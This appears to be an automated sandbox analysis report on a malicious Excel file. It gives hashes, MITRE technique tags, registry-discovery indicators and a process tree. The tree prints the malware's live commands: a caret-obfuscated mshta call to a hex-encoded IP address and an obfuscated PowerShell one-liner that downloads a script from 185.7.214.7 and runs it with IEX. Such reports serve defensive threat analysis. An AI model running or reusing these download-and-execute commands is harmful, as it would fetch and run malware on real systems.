1aa1e797bd106f28bc73e4a09bd4d3eb7a13943ef42f06bda76c41fbca54d0be

General

Target
1a59b73480501ddead0d4fcff73dca23.xls
Size 71KB
Sample220120-22wfdaccb8
SHA256 1aa1e797bd106f28bc73e4a09bd4d3eb7a13943ef42f06bda76c41fbca54d0be
MD5 1a59b73480501ddead0d4fcff73dca23
SHA1 c5e0aac4105036450c2f42e73d239528de2a6569
SHA512 99cfd1756d3babf140f0a869c16b57b7119feec76d962d40302c3267d3216ab19e9c439050d67ffb4841554bc2e443bc75edf299038eb52f1016d01773498868
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fe2.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fe2.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3812	2984	cmd.exe	52

Blocklisted process makes network request 1 IoCs

flow	pid	Process
37	3592	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2164	3592	WerFault.exe	61

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2984	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2984	EXCEL.EXE
2984	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2984	EXCEL.EXE
2984	EXCEL.EXE
2984	EXCEL.EXE
2984	EXCEL.EXE
2984	EXCEL.EXE
2984	EXCEL.EXE
2984	EXCEL.EXE
2984	EXCEL.EXE
2984	EXCEL.EXE
2984	EXCEL.EXE
2984	EXCEL.EXE
2984	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2984 wrote to memory of 3812	2984	EXCEL.EXE	59
PID 2984 wrote to memory of 3812	2984	EXCEL.EXE	59
PID 3812 wrote to memory of 3592	3812	cmd.exe	61
PID 3812 wrote to memory of 3592	3812	cmd.exe	61

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\1a59b73480501ddead0d4fcff73dca23.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2984
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3812
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    PID:3592
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:1288
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3592 -s 1728
      4⤵
      Program crash
      PID:2164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:1536

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 9081f66f3ad27d0d1d0d94ce705007a9 9lPO36DZUUWWzxOPlapbcg.0.1.0.0.0
1⤵
PID:3192

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 412 -p 3592 -ip 3592
1⤵
PID:1216

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2984-132-0x00007FF87D0D0000-0x00007FF87D0E0000-memory.dmp

Download

memory/2984-131-0x00007FF87D0D0000-0x00007FF87D0E0000-memory.dmp

Download

memory/2984-130-0x00007FF87D0D0000-0x00007FF87D0E0000-memory.dmp

Download

memory/2984-133-0x00007FF87D0D0000-0x00007FF87D0E0000-memory.dmp

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memory/2984-134-0x00007FF87D0D0000-0x00007FF87D0E0000-memory.dmp

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memory/2984-137-0x00007FF87AE10000-0x00007FF87AE20000-memory.dmp

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memory/2984-138-0x00007FF87AE10000-0x00007FF87AE20000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads